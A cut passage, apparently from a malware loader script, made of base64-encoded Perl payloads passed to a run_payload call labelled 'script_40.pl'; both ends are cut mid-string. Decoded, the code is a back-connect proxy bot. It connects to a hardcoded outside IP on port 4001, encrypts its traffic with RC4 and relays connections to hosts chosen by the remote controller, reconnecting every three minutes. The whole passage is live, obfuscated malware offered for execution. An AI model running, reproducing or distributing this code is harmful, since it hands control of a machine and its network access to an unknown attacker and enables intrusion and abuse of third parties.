5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_40.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmV